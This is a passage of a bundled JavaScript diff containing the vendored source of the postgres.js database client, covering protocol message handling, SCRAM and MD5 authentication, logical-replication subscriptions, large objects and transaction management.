query.describeFirst) && write(Sync); + errored(e); + } + incoming = incoming.subarray(length + 1); + remaining = 0; + incomings = null; + } + } + async function connect() { + terminated = false; + backendParameters = {}; + socket || (socket = await createSocket()); + if (!socket) + return; + connectTimer.start(); + if (options.socket) + return ssl ? secure() : connected(); + socket.on("connect", ssl ? secure : connected); + if (options.path) + return socket.connect(options.path); + socket.ssl = ssl; + socket.connect(port[hostIndex], host[hostIndex]); + socket.host = host[hostIndex]; + socket.port = port[hostIndex]; + hostIndex = (hostIndex + 1) % port.length; + } + function reconnect() { + setTimeout(connect, closedTime ? Math.max(0, closedTime + delay - performance2.now()) : 0); + } + function connected() { + try { + statements = {}; + needsTypes = options.fetch_types; + statementId = Math.random().toString(36).slice(2); + statementCount = 1; + lifeTimer.start(); + socket.on("data", data); + keep_alive && socket.setKeepAlive && socket.setKeepAlive(true, 1e3 * keep_alive); + const s = StartupMessage(); + write(s); + } catch (err) { + error51(err); + } + } + function error51(err) { + if (connection2.queue === queues.connecting && options.host[retries + 1]) + return; + errored(err); + while (sent.length) + queryError(sent.shift(), err); + } + function errored(err) { + stream && (stream.destroy(err), stream = null); + query && queryError(query, err); + initial && (queryError(initial, err), initial = null); + } + function queryError(query2, err) { + if (query2.reserve) + return query2.reject(err); + if (!err || typeof err !== "object") + err = new Error(err); + "query" in err || "parameters" in err || Object.defineProperties(err, { + stack: { value: err.stack + query2.origin.replace(/.*\n/, "\n"), enumerable: options.debug }, + query: { value: query2.string, enumerable: options.debug }, + parameters: { value: query2.parameters, enumerable: options.debug }, + args: { value: query2.args, enumerable: options.debug }, + types: { value: query2.statement && query2.statement.types, enumerable: options.debug } + }); + query2.reject(err); + } + function end() { + return ending || (!connection2.reserved && onend(connection2), !connection2.reserved && !initial && !query && sent.length === 0 ? (terminate(), new Promise((r) => socket && socket.readyState !== "closed" ? socket.once("close", r) : r())) : ending = new Promise((r) => ended = r)); + } + function terminate() { + terminated = true; + if (stream || query || initial || sent.length) + error51(Errors.connection("CONNECTION_DESTROYED", options)); + clearImmediate(nextWriteTimer); + if (socket) { + socket.removeListener("data", data); + socket.removeListener("connect", connected); + socket.readyState === "open" && socket.end(bytes_default().X().end()); + } + ended && (ended(), ending = ended = null); + } + async function closed(hadError) { + incoming = Buffer.alloc(0); + remaining = 0; + incomings = null; + clearImmediate(nextWriteTimer); + socket.removeListener("data", data); + socket.removeListener("connect", connected); + idleTimer.cancel(); + lifeTimer.cancel(); + connectTimer.cancel(); + socket.removeAllListeners(); + socket = null; + if (initial) + return reconnect(); + !hadError && (query || sent.length) && error51(Errors.connection("CONNECTION_CLOSED", options, socket)); + closedTime = performance2.now(); + hadError && options.shared.retries++; + delay = (typeof backoff2 === "function" ? backoff2(options.shared.retries) : backoff2) * 1e3; + onclose(connection2, Errors.connection("CONNECTION_CLOSED", options, socket)); + } + function handle(xs, x = xs[0]) { + (x === 68 ? DataRow : ( + // D + x === 100 ? CopyData : ( + // d + x === 65 ? NotificationResponse : ( + // A + x === 83 ? ParameterStatus : ( + // S + x === 90 ? ReadyForQuery : ( + // Z + x === 67 ? CommandComplete : ( + // C + x === 50 ? BindComplete : ( + // 2 + x === 49 ? ParseComplete : ( + // 1 + x === 116 ? ParameterDescription : ( + // t + x === 84 ? RowDescription : ( + // T + x === 82 ? Authentication : ( + // R + x === 110 ? NoData : ( + // n + x === 75 ? BackendKeyData : ( + // K + x === 69 ? ErrorResponse : ( + // E + x === 115 ? PortalSuspended : ( + // s + x === 51 ? CloseComplete : ( + // 3 + x === 71 ? CopyInResponse : ( + // G + x === 78 ? NoticeResponse : ( + // N + x === 72 ? CopyOutResponse : ( + // H + x === 99 ? CopyDone : ( + // c + x === 73 ? EmptyQueryResponse : ( + // I + x === 86 ? FunctionCallResponse : ( + // V + x === 118 ? NegotiateProtocolVersion : ( + // v + x === 87 ? CopyBothResponse : ( + // W + /* c8 ignore next */ + UnknownMessage + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ) + ))(xs); + } + function DataRow(x) { + let index2 = 7; + let length2; + let column; + let value; + const row = query.isRaw ? new Array(query.statement.columns.length) : {}; + for (let i = 0; i < query.statement.columns.length; i++) { + column = query.statement.columns[i]; + length2 = x.readInt32BE(index2); + index2 += 4; + value = length2 === -1 ? null : query.isRaw === true ? x.subarray(index2, index2 += length2) : column.parser === void 0 ? x.toString("utf8", index2, index2 += length2) : column.parser.array === true ? column.parser(x.toString("utf8", index2 + 1, index2 += length2)) : column.parser(x.toString("utf8", index2, index2 += length2)); + query.isRaw ? row[i] = query.isRaw === true ? value : transform2.value.from ? transform2.value.from(value, column) : value : row[column.name] = transform2.value.from ? transform2.value.from(value, column) : value; + } + query.forEachFn ? query.forEachFn(transform2.row.from ? transform2.row.from(row) : row, result) : result[rows++] = transform2.row.from ? transform2.row.from(row) : row; + } + function ParameterStatus(x) { + const [k, v] = x.toString("utf8", 5, x.length - 1).split(bytes_default.N); + backendParameters[k] = v; + if (options.parameters[k] !== v) { + options.parameters[k] = v; + onparameter && onparameter(k, v); + } + } + function ReadyForQuery(x) { + if (query) { + if (errorResponse) { + query.retried ? errored(query.retried) : query.prepared && retryRoutines.has(errorResponse.routine) ? retry(query, errorResponse) : errored(errorResponse); + } else { + query.resolve(results || result); + } + } else if (errorResponse) { + errored(errorResponse); + } + query = results = errorResponse = null; + result = new Result(); + connectTimer.cancel(); + if (initial) { + if (target_session_attrs) { + if (!backendParameters.in_hot_standby || !backendParameters.default_transaction_read_only) + return fetchState(); + else if (tryNext(target_session_attrs, backendParameters)) + return terminate(); + } + if (needsTypes) { + initial.reserve && (initial = null); + return fetchArrayTypes(); + } + initial && !initial.reserve && execute(initial); + options.shared.retries = retries = 0; + initial = null; + return; + } + while (sent.length && (query = sent.shift()) && (query.active = true, query.cancelled)) + Connection(options).cancel(query.state, query.cancelled.resolve, query.cancelled.reject); + if (query) + return; + connection2.reserved ? !connection2.reserved.release && x[5] === 73 ? ending ? terminate() : (connection2.reserved = null, onopen(connection2)) : connection2.reserved() : ending ? terminate() : onopen(connection2); + } + function CommandComplete(x) { + rows = 0; + for (let i = x.length - 1; i > 0; i--) { + if (x[i] === 32 && x[i + 1] < 58 && result.count === null) + result.count = +x.toString("utf8", i + 1, x.length - 1); + if (x[i - 1] >= 65) { + result.command = x.toString("utf8", 5, i); + result.state = backend; + break; + } + } + final && (final(), final = null); + if (result.command === "BEGIN" && max !== 1 && !connection2.reserved) + return errored(Errors.generic("UNSAFE_TRANSACTION", "Only use sql.begin, sql.reserved or max: 1")); + if (query.options.simple) + return BindComplete(); + if (query.cursorFn) { + result.count && query.cursorFn(result); + write(Sync); + } + } + function ParseComplete() { + query.parsing = false; + } + function BindComplete() { + !result.statement && (result.statement = query.statement); + result.columns = query.statement.columns; + } + function ParameterDescription(x) { + const length2 = x.readUInt16BE(5); + for (let i = 0; i < length2; ++i) + !query.statement.types[i] && (query.statement.types[i] = x.readUInt32BE(7 + i * 4)); + query.prepare && (statements[query.signature] = query.statement); + query.describeFirst && !query.onlyDescribe && (write(prepared(query)), query.describeFirst = false); + } + function RowDescription(x) { + if (result.command) { + results = results || [result]; + results.push(result = new Result()); + result.count = null; + query.statement.columns = null; + } + const length2 = x.readUInt16BE(5); + let index2 = 7; + let start; + query.statement.columns = Array(length2); + for (let i = 0; i < length2; ++i) { + start = index2; + while (x[index2++] !== 0) ; + const table2 = x.readUInt32BE(index2); + const number4 = x.readUInt16BE(index2 + 4); + const type = x.readUInt32BE(index2 + 6); + query.statement.columns[i] = { + name: transform2.column.from ? transform2.column.from(x.toString("utf8", start, index2 - 1)) : x.toString("utf8", start, index2 - 1), + parser: parsers2[type], + table: table2, + number: number4, + type + }; + index2 += 18; + } + result.statement = query.statement; + if (query.onlyDescribe) + return query.resolve(query.statement), write(Sync); + } + async function Authentication(x, type = x.readUInt32BE(5)) { + (type === 3 ? AuthenticationCleartextPassword : type === 5 ? AuthenticationMD5Password : type === 10 ? SASL : type === 11 ? SASLContinue : type === 12 ? SASLFinal : type !== 0 ? UnknownAuth : noop)(x, type); + } + async function AuthenticationCleartextPassword() { + const payload = await Pass(); + write( + bytes_default().p().str(payload).z(1).end() + ); + } + async function AuthenticationMD5Password(x) { + const payload = "md5" + await md5( + Buffer.concat([ + Buffer.from(await md5(await Pass() + user)), + x.subarray(9) + ]) + ); + write( + bytes_default().p().str(payload).z(1).end() + ); + } + async function SASL() { + nonce = (await crypto2.randomBytes(18)).toString("base64"); + bytes_default().p().str("SCRAM-SHA-256" + bytes_default.N); + const i = bytes_default.i; + write(bytes_default.inc(4).str("n,,n=*,r=" + nonce).i32(bytes_default.i - i - 4, i).end()); + } + async function SASLContinue(x) { + const res = x.toString("utf8", 9).split(",").reduce((acc, x2) => (acc[x2[0]] = x2.slice(2), acc), {}); + const saltedPassword = await crypto2.pbkdf2Sync( + await Pass(), + Buffer.from(res.s, "base64"), + parseInt(res.i), + 32, + "sha256" + ); + const clientKey = await hmac2(saltedPassword, "Client Key"); + const auth = "n=*,r=" + nonce + ",r=" + res.r + ",s=" + res.s + ",i=" + res.i + ",c=biws,r=" + res.r; + serverSignature = (await hmac2(await hmac2(saltedPassword, "Server Key"), auth)).toString("base64"); + const payload = "c=biws,r=" + res.r + ",p=" + xor2( + clientKey, + Buffer.from(await hmac2(await sha256(clientKey), auth)) + ).toString("base64"); + write( + bytes_default().p().str(payload).end() + ); + } + function SASLFinal(x) { + if (x.toString("utf8", 9).split(bytes_default.N, 1)[0].slice(2) === serverSignature) + return; + errored(Errors.generic("SASL_SIGNATURE_MISMATCH", "The server did not return the correct signature")); + socket.destroy(); + } + function Pass() { + return Promise.resolve( + typeof options.pass === "function" ? options.pass() : options.pass + ); + } + function NoData() { + result.statement = query.statement; + result.statement.columns = []; + if (query.onlyDescribe) + return query.resolve(query.statement), write(Sync); + } + function BackendKeyData(x) { + backend.pid = x.readUInt32BE(5); + backend.secret = x.readUInt32BE(9); + } + async function fetchArrayTypes() { + needsTypes = false; + const types2 = await new Query([` + select b.oid, b.typarray + from pg_catalog.pg_type a + left join pg_catalog.pg_type b on b.oid = a.typelem + where a.typcategory = 'A' + group by b.oid, b.typarray + order by b.oid + `], [], execute); + types2.forEach(({ oid, typarray }) => addArrayType(oid, typarray)); + } + function addArrayType(oid, typarray) { + if (!!options.parsers[typarray] && !!options.serializers[typarray]) return; + const parser = options.parsers[oid]; + options.shared.typeArrayMap[oid] = typarray; + options.parsers[typarray] = (xs) => arrayParser(xs, parser, typarray); + options.parsers[typarray].array = true; + options.serializers[typarray] = (xs) => arraySerializer(xs, options.serializers[oid], options, typarray); + } + function tryNext(x, xs) { + return x === "read-write" && xs.default_transaction_read_only === "on" || x === "read-only" && xs.default_transaction_read_only === "off" || x === "primary" && xs.in_hot_standby === "on" || x === "standby" && xs.in_hot_standby === "off" || x === "prefer-standby" && xs.in_hot_standby === "off" && options.host[retries]; + } + function fetchState() { + const query2 = new Query([` + show transaction_read_only; + select pg_catalog.pg_is_in_recovery() + `], [], execute, null, { simple: true }); + query2.resolve = ([[a], [b2]]) => { + backendParameters.default_transaction_read_only = a.transaction_read_only; + backendParameters.in_hot_standby = b2.pg_is_in_recovery ? "on" : "off"; + }; + query2.execute(); + } + function ErrorResponse(x) { + if (query) { + (query.cursorFn || query.describeFirst) && write(Sync); + errorResponse = Errors.postgres(parseError(x)); + } else { + errored(Errors.postgres(parseError(x))); + } + } + function retry(q, error52) { + delete statements[q.signature]; + q.retried = error52; + execute(q); + } + function NotificationResponse(x) { + if (!onnotify) + return; + let index2 = 9; + while (x[index2++] !== 0) ; + onnotify( + x.toString("utf8", 9, index2 - 1), + x.toString("utf8", index2, x.length - 1) + ); + } + async function PortalSuspended() { + try { + const x = await Promise.resolve(query.cursorFn(result)); + rows = 0; + x === CLOSE ? write(Close(query.portal)) : (result = new Result(), write(Execute("", query.cursorRows))); + } catch (err) { + write(Sync); + query.reject(err); + } + } + function CloseComplete() { + result.count && query.cursorFn(result); + query.resolve(result); + } + function CopyInResponse() { + stream = new Stream.Writable({ + autoDestroy: true, + write(chunk2, encoding, callback) { + socket.write(bytes_default().d().raw(chunk2).end(), callback); + }, + destroy(error52, callback) { + callback(error52); + socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + stream = null; + }, + final(callback) { + socket.write(bytes_default().c().end()); + final = callback; + stream = null; + } + }); + query.resolve(stream); + } + function CopyOutResponse() { + stream = new Stream.Readable({ + read() { + socket.resume(); + } + }); + query.resolve(stream); + } + function CopyBothResponse() { + stream = new Stream.Duplex({ + autoDestroy: true, + read() { + socket.resume(); + }, + /* c8 ignore next 11 */ + write(chunk2, encoding, callback) { + socket.write(bytes_default().d().raw(chunk2).end(), callback); + }, + destroy(error52, callback) { + callback(error52); + socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + stream = null; + }, + final(callback) { + socket.write(bytes_default().c().end()); + final = callback; + } + }); + query.resolve(stream); + } + function CopyData(x) { + stream && (stream.push(x.subarray(5)) || socket.pause()); + } + function CopyDone() { + stream && stream.push(null); + stream = null; + } + function NoticeResponse(x) { + onnotice ? onnotice(parseError(x)) : console.log(parseError(x)); + } + function EmptyQueryResponse() { + } + function FunctionCallResponse() { + errored(Errors.notSupported("FunctionCallResponse")); + } + function NegotiateProtocolVersion() { + errored(Errors.notSupported("NegotiateProtocolVersion")); + } + function UnknownMessage(x) { + console.error("Postgres.js : Unknown Message:", x[0]); + } + function UnknownAuth(x, type) { + console.error("Postgres.js : Unknown Auth:", type); + } + function Bind(parameters, types2, statement = "", portal = "") { + let prev, type; + bytes_default().B().str(portal + bytes_default.N).str(statement + bytes_default.N).i16(0).i16(parameters.length); + parameters.forEach((x, i) => { + if (x === null) + return bytes_default.i32(4294967295); + type = types2[i]; + parameters[i] = x = type in options.serializers ? options.serializers[type](x) : "" + x; + prev = bytes_default.i; + bytes_default.inc(4).str(x).i32(bytes_default.i - prev - 4, prev); + }); + bytes_default.i16(0); + return bytes_default.end(); + } + function Parse(str, parameters, types2, name = "") { + bytes_default().P().str(name + bytes_default.N).str(str + bytes_default.N).i16(parameters.length); + parameters.forEach((x, i) => bytes_default.i32(types2[i] || 0)); + return bytes_default.end(); + } + function Describe(x, name = "") { + return bytes_default().D().str(x).str(name + bytes_default.N).end(); + } + function Execute(portal = "", rows2 = 0) { + return Buffer.concat([ + bytes_default().E().str(portal + bytes_default.N).i32(rows2).end(), + Flush + ]); + } + function Close(portal = "") { + return Buffer.concat([ + bytes_default().C().str("P").str(portal + bytes_default.N).end(), + bytes_default().S().end() + ]); + } + function StartupMessage() { + return cancelMessage || bytes_default().inc(4).i16(3).z(2).str( + Object.entries(Object.assign( + { + user, + database, + client_encoding: "UTF8" + }, + options.connection + )).filter(([, v]) => v).map(([k, v]) => k + bytes_default.N + v).join(bytes_default.N) + ).z(2).end(0); + } +} +function parseError(x) { + const error51 = {}; + let start = 5; + for (let i = 5; i < x.length - 1; i++) { + if (x[i] === 0) { + error51[errorFields[x[start]]] = x.toString("utf8", start + 1, i); + start = i + 1; + } + } + return error51; +} +function md5(x) { + return crypto2.createHash("md5").update(x).digest("hex"); +} +function hmac2(key, x) { + return crypto2.createHmac("sha256", key).update(x).digest(); +} +function sha256(x) { + return crypto2.createHash("sha256").update(x).digest(); +} +function xor2(a, b2) { + const length = Math.max(a.length, b2.length); + const buffer2 = Buffer.allocUnsafe(length); + for (let i = 0; i < length; i++) + buffer2[i] = a[i] ^ b2[i]; + return buffer2; +} +function timer(fn, seconds) { + seconds = typeof seconds === "function" ? seconds() : seconds; + if (!seconds) + return { cancel: noop, start: noop }; + let timer2; + return { + cancel() { + timer2 && (clearTimeout(timer2), timer2 = null); + }, + start() { + timer2 && clearTimeout(timer2); + timer2 = setTimeout(done, seconds * 1e3, arguments); + } + }; + function done(args) { + fn.apply(null, args); + timer2 = null; + } +} + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/subscribe.js +var noop2 = () => { +}; +function Subscribe(postgres2, options) { + const subscribers = /* @__PURE__ */ new Map(), slot = "postgresjs_" + Math.random().toString(36).slice(2), state = {}; + let connection2, stream, ended = false; + const sql3 = subscribe.sql = postgres2({ + ...options, + transform: { column: {}, value: {}, row: {} }, + max: 1, + fetch_types: false, + idle_timeout: null, + max_lifetime: null, + connection: { + ...options.connection, + replication: "database" + }, + onclose: async function() { + if (ended) + return; + stream = null; + state.pid = state.secret = void 0; + connected(await init(sql3, slot, options.publications)); + subscribers.forEach((event) => event.forEach(({ onsubscribe }) => onsubscribe())); + }, + no_subscribe: true + }); + const end = sql3.end, close2 = sql3.close; + sql3.end = async () => { + ended = true; + stream && await new Promise((r) => (stream.once("close", r), stream.end())); + return end(); + }; + sql3.close = async () => { + stream && await new Promise((r) => (stream.once("close", r), stream.end())); + return close2(); + }; + return subscribe; + async function subscribe(event, fn, onsubscribe = noop2, onerror = noop2) { + event = parseEvent(event); + if (!connection2) + connection2 = init(sql3, slot, options.publications); + const subscriber = { fn, onsubscribe }; + const fns = subscribers.has(event) ? subscribers.get(event).add(subscriber) : subscribers.set(event, /* @__PURE__ */ new Set([subscriber])).get(event); + const unsubscribe = () => { + fns.delete(subscriber); + fns.size === 0 && subscribers.delete(event); + }; + return connection2.then((x) => { + connected(x); + onsubscribe(); + stream && stream.on("error", onerror); + return { unsubscribe, state, sql: sql3 }; + }); + } + function connected(x) { + stream = x.stream; + state.pid = x.state.pid; + state.secret = x.state.secret; + } + async function init(sql4, slot2, publications) { + if (!publications) + throw new Error("Missing publication names"); + const xs = await sql4.unsafe( + `CREATE_REPLICATION_SLOT ${slot2} TEMPORARY LOGICAL pgoutput NOEXPORT_SNAPSHOT` + ); + const [x] = xs; + const stream2 = await sql4.unsafe( + `START_REPLICATION SLOT ${slot2} LOGICAL ${x.consistent_point} (proto_version '1', publication_names '${publications}')` + ).writable(); + const state2 = { + lsn: Buffer.concat(x.consistent_point.split("/").map((x2) => Buffer.from(("00000000" + x2).slice(-8), "hex"))) + }; + stream2.on("data", data); + stream2.on("error", error51); + stream2.on("close", sql4.close); + return { stream: stream2, state: xs.state }; + function error51(e) { + console.error("Unexpected error during logical streaming - reconnecting", e); + } + function data(x2) { + if (x2[0] === 119) { + parse3(x2.subarray(25), state2, sql4.options.parsers, handle, options.transform); + } else if (x2[0] === 107 && x2[17]) { + state2.lsn = x2.subarray(1, 9); + pong(); + } + } + function handle(a, b2) { + const path = b2.relation.schema + "." + b2.relation.table; + call("*", a, b2); + call("*:" + path, a, b2); + b2.relation.keys.length && call("*:" + path + "=" + b2.relation.keys.map((x2) => a[x2.name]), a, b2); + call(b2.command, a, b2); + call(b2.command + ":" + path, a, b2); + b2.relation.keys.length && call(b2.command + ":" + path + "=" + b2.relation.keys.map((x2) => a[x2.name]), a, b2); + } + function pong() { + const x2 = Buffer.alloc(34); + x2[0] = "r".charCodeAt(0); + x2.fill(state2.lsn, 1); + x2.writeBigInt64BE(BigInt(Date.now() - Date.UTC(2e3, 0, 1)) * BigInt(1e3), 25); + stream2.write(x2); + } + } + function call(x, a, b2) { + subscribers.has(x) && subscribers.get(x).forEach(({ fn }) => fn(a, b2, x)); + } +} +function Time(x) { + return new Date(Date.UTC(2e3, 0, 1) + Number(x / BigInt(1e3))); +} +function parse3(x, state, parsers2, handle, transform2) { + const char2 = (acc, [k, v]) => (acc[k.charCodeAt(0)] = v, acc); + Object.entries({ + R: (x2) => { + let i = 1; + const r = state[x2.readUInt32BE(i)] = { + schema: x2.toString("utf8", i += 4, i = x2.indexOf(0, i)) || "pg_catalog", + table: x2.toString("utf8", i + 1, i = x2.indexOf(0, i + 1)), + columns: Array(x2.readUInt16BE(i += 2)), + keys: [] + }; + i += 2; + let columnIndex = 0, column; + while (i < x2.length) { + column = r.columns[columnIndex++] = { + key: x2[i++], + name: transform2.column.from ? transform2.column.from(x2.toString("utf8", i, i = x2.indexOf(0, i))) : x2.toString("utf8", i, i = x2.indexOf(0, i)), + type: x2.readUInt32BE(i += 1), + parser: parsers2[x2.readUInt32BE(i)], + atttypmod: x2.readUInt32BE(i += 4) + }; + column.key && r.keys.push(column); + i += 4; + } + }, + Y: () => { + }, + // Type + O: () => { + }, + // Origin + B: (x2) => { + state.date = Time(x2.readBigInt64BE(9)); + state.lsn = x2.subarray(1, 9); + }, + I: (x2) => { + let i = 1; + const relation = state[x2.readUInt32BE(i)]; + const { row } = tuples(x2, relation.columns, i += 7, transform2); + handle(row, { + command: "insert", + relation + }); + }, + D: (x2) => { + let i = 1; + const relation = state[x2.readUInt32BE(i)]; + i += 4; + const key = x2[i] === 75; + handle( + key || x2[i] === 79 ? tuples(x2, relation.columns, i += 3, transform2).row : null, + { + command: "delete", + relation, + key + } + ); + }, + U: (x2) => { + let i = 1; + const relation = state[x2.readUInt32BE(i)]; + i += 4; + const key = x2[i] === 75; + const xs = key || x2[i] === 79 ? tuples(x2, relation.columns, i += 3, transform2) : null; + xs && (i = xs.i); + const { row } = tuples(x2, relation.columns, i + 3, transform2); + handle(row, { + command: "update", + relation, + key, + old: xs && xs.row + }); + }, + T: () => { + }, + // Truncate, + C: () => { + } + // Commit + }).reduce(char2, {})[x[0]](x); +} +function tuples(x, columns, xi, transform2) { + let type, column, value; + const row = transform2.raw ? new Array(columns.length) : {}; + for (let i = 0; i < columns.length; i++) { + type = x[xi++]; + column = columns[i]; + value = type === 110 ? null : type === 117 ? void 0 : column.parser === void 0 ? x.toString("utf8", xi + 4, xi += 4 + x.readUInt32BE(xi)) : column.parser.array === true ? column.parser(x.toString("utf8", xi + 5, xi += 4 + x.readUInt32BE(xi))) : column.parser(x.toString("utf8", xi + 4, xi += 4 + x.readUInt32BE(xi))); + transform2.raw ? row[i] = transform2.raw === true ? value : transform2.value.from ? transform2.value.from(value, column) : value : row[column.name] = transform2.value.from ? transform2.value.from(value, column) : value; + } + return { i: xi, row: transform2.row.from ? transform2.row.from(row) : row }; +} +function parseEvent(x) { + const xs = x.match(/^(\*|insert|update|delete)?:?([^.]+?\.?[^=]+)?=?(.+)?/i) || []; + if (!xs) + throw new Error("Malformed subscribe pattern: " + x); + const [, command, path, key] = xs; + return (command || "*") + (path ? ":" + (path.indexOf(".") === -1 ? "public." + path : path) : "") + (key ? "=" + key : ""); +} + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/large.js +import Stream2 from "stream"; +function largeObject(sql3, oid, mode = 131072 | 262144) { + return new Promise(async (resolve, reject) => { + await sql3.begin(async (sql4) => { + let finish; + !oid && ([{ oid }] = await sql4`select lo_creat(-1) as oid`); + const [{ fd }] = await sql4`select lo_open(${oid}, ${mode}) as fd`; + const lo = { + writable, + readable, + close: () => sql4`select lo_close(${fd})`.then(finish), + tell: () => sql4`select lo_tell64(${fd})`, + read: (x) => sql4`select loread(${fd}, ${x}) as data`, + write: (x) => sql4`select lowrite(${fd}, ${x})`, + truncate: (x) => sql4`select lo_truncate64(${fd}, ${x})`, + seek: (x, whence = 0) => sql4`select lo_lseek64(${fd}, ${x}, ${whence})`, + size: () => sql4` + select + lo_lseek64(${fd}, location, 0) as position, + seek.size + from ( + select + lo_lseek64($1, 0, 2) as size, + tell.location + from (select lo_tell64($1) as location) tell + ) seek + ` + }; + resolve(lo); + return new Promise(async (r) => finish = r); + async function readable({ + highWaterMark = 2048 * 8, + start = 0, + end = Infinity + } = {}) { + let max = end - start; + start && await lo.seek(start); + return new Stream2.Readable({ + highWaterMark, + async read(size2) { + const l = size2 > max ? size2 - max : size2; + max -= size2; + const [{ data }] = await lo.read(l); + this.push(data); + if (data.length < size2) + this.push(null); + } + }); + } + async function writable({ + highWaterMark = 2048 * 8, + start = 0 + } = {}) { + start && await lo.seek(start); + return new Stream2.Writable({ + highWaterMark, + write(chunk, encoding, callback) { + lo.write(chunk).then(() => callback(), callback); + } + }); + } + }).catch(reject); + }); +} + +// node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/index.js +Object.assign(Postgres, { + PostgresError, + toPascal, + pascal, + toCamel, + camel, + toKebab, + kebab, + fromPascal, + fromCamel, + fromKebab, + BigInt: { + to: 20, + from: [20], + parse: (x) => BigInt(x), + // eslint-disable-line + serialize: (x) => x.toString() + } +}); +var src_default = Postgres; +function Postgres(a, b2) { + const options = parseOptions(a, b2), subscribe = options.no_subscribe || Subscribe(Postgres, { ...options }); + let ending = false; + const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; + const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); + const sql3 = Sql(handler); + Object.assign(sql3, { + get parameters() { + return options.parameters; + }, + largeObject: largeObject.bind(null, sql3), + subscribe, + CLOSE, + END: CLOSE, + PostgresError, + options, + reserve, + listen, + begin, + close: close2, + end + }); + return sql3; + function Sql(handler2) { + handler2.debug = options.debug; + Object.entries(options.types).reduce((acc, [name, type]) => { + acc[name] = (x) => new Parameter(x, type.to); + return acc; + }, typed); + Object.assign(sql4, { + types: typed, + typed, + unsafe, + notify, + array: array2, + json: json3, + file: file2 + }); + return sql4; + function typed(value, type) { + return new Parameter(value, type); + } + function sql4(strings, ...args) { + const query = strings && Array.isArray(strings.raw) ? new Query(strings, args, handler2, cancel) : typeof strings === "string" && !args.length ? new Identifier(options.transform.column.to ? options.transform.column.to(strings) : strings) : new Builder(strings, args); + return query; + } + function unsafe(string4, args = [], options2 = {}) { + arguments.length === 2 && !Array.isArray(args) && (options2 = args, args = []); + const query = new Query([string4], args, handler2, cancel, { + prepare: false, + ...options2, + simple: "simple" in options2 ? options2.simple : args.length === 0 + }); + return query; + } + function file2(path, args = [], options2 = {}) { + arguments.length === 2 && !Array.isArray(args) && (options2 = args, args = []); + const query = new Query([], args, (query2) => { + fs.readFile(path, "utf8", (err, string4) => { + if (err) + return query2.reject(err); + query2.strings = [string4]; + handler2(query2); + }); + }, cancel, { + ...options2, + simple: "simple" in options2 ? options2.simple : args.length === 0 + }); + return query; + } + } + async function listen(name, fn, onlisten) { + const listener = { fn, onlisten }; + const sql4 = listen.sql || (listen.sql = Postgres({ + ...options, + max: 1, + idle_timeout: null, + max_lifetime: null, + fetch_types: false, + onclose() { + Object.entries(listen.channels).forEach(([name2, { listeners }]) => { + delete listen.channels[name2]; + Promise.all(listeners.map((l) => listen(name2, l.fn, l.onlisten).catch(() => { + }))); + }); + }, + onnotify(c, x) { + c in listen.channels && listen.channels[c].listeners.forEach((l) => l.fn(x)); + } + })); + const channels = listen.channels || (listen.channels = {}), exists2 = name in channels; + if (exists2) { + channels[name].listeners.push(listener); + const result2 = await channels[name].result; + listener.onlisten && listener.onlisten(); + return { state: result2.state, unlisten }; + } + channels[name] = { result: sql4`listen ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; + const result = await channels[name].result; + listener.onlisten && listener.onlisten(); + return { state: result.state, unlisten }; + async function unlisten() { + if (name in channels === false) + return; + channels[name].listeners = channels[name].listeners.filter((x) => x !== listener); + if (channels[name].listeners.length) + return; + delete channels[name]; + return sql4`unlisten ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`; + } + } + async function notify(channel, payload) { + return await sql3`select pg_notify(${channel}, ${"" + payload})`; + } + async function reserve() { + const queue = queue_default(); + const c = open.length ? open.shift() : await new Promise((resolve, reject) => { + const query = { reserve: resolve, reject }; + queries.push(query); + closed.length && connect(closed.shift(), query); + }); + move(c, reserved); + c.reserved = () => queue.length ? c.execute(queue.shift()) : move(c, reserved); + c.reserved.release = true; + const sql4 = Sql(handler2); + sql4.release = () => { + c.reserved = null; + onopen(c); + }; + return sql4; + function handler2(q) { + c.queue === full ? queue.push(q) : c.execute(q) || move(c, full); + } + } + async function begin(options2, fn) { + !fn && (fn = options2, options2 = ""); + const queries2 = queue_default(); + let savepoints = 0, connection2, prepare = null; + try { + await sql3.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); + return await Promise.race([ + scope(connection2, fn), + new Promise((_, reject) => connection2.onclose = reject) + ]); + } catch (error51) { + throw error51; + } + async function scope(c, fn2, name) { + const sql4 = Sql(handler2); + sql4.savepoint = savepoint; + sql4.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); + let uncaughtError, result; + name && await sql4`savepoint ${sql4(name)}`; + try { + result = await new Promise((resolve, reject) => { + const x = fn2(sql4); + Promise.resolve(Array.isArray(x) ? Promise.all(x) : x).then(resolve, reject); + }); + if (uncaughtError) + throw uncaughtError; + } catch (e) { + await (name ? sql4`rollback to ${sql4(name)}` : sql4`rollback`); + throw e instanceof PostgresError && e.code === "25P02" && uncaughtError || e; + } + if (!name) { + prepare ? await sql4`prepare transaction '${sql4.unsafe(prepare)}'` : await sql4`commit`; + } + return result; + function savepoint(name2, fn3) { + if (name2 && Array.isArray(name2.raw)) + return savepoint((sql5) => sql5.apply(sql5, arguments)); + arguments.length === 1 && (fn3 = name2, name2 = null); + return scope(c, fn3, "s" + savepoints++ + (name2 ? "_" + name2 : "")); + } + function handler2(q) { + q.catch((e) => uncaughtError || (uncaughtError = e)); + c.queue === full ? queries2.push(q) : c.execute(q) || move(c, full); + } + } + function onexecute(c) { + connection2 = c; + move(c, reserved); + c.reserved = () => queries2.length ? c.execute(queries2.shift()) : move(c, reserved); + } + } + function move(c, queue) { + c.queue.remove(c); + queue.push(c); + c.queue = queue; + queue === open ? c.idleTimer.start() : c.idleTimer.cancel(); + return c; + } + function json3(x) { + return new Parameter(x, 3802); + } + function array2(x, type) { + if (!Array.isArray(x)) + return array2(Array.from(arguments)); + return new 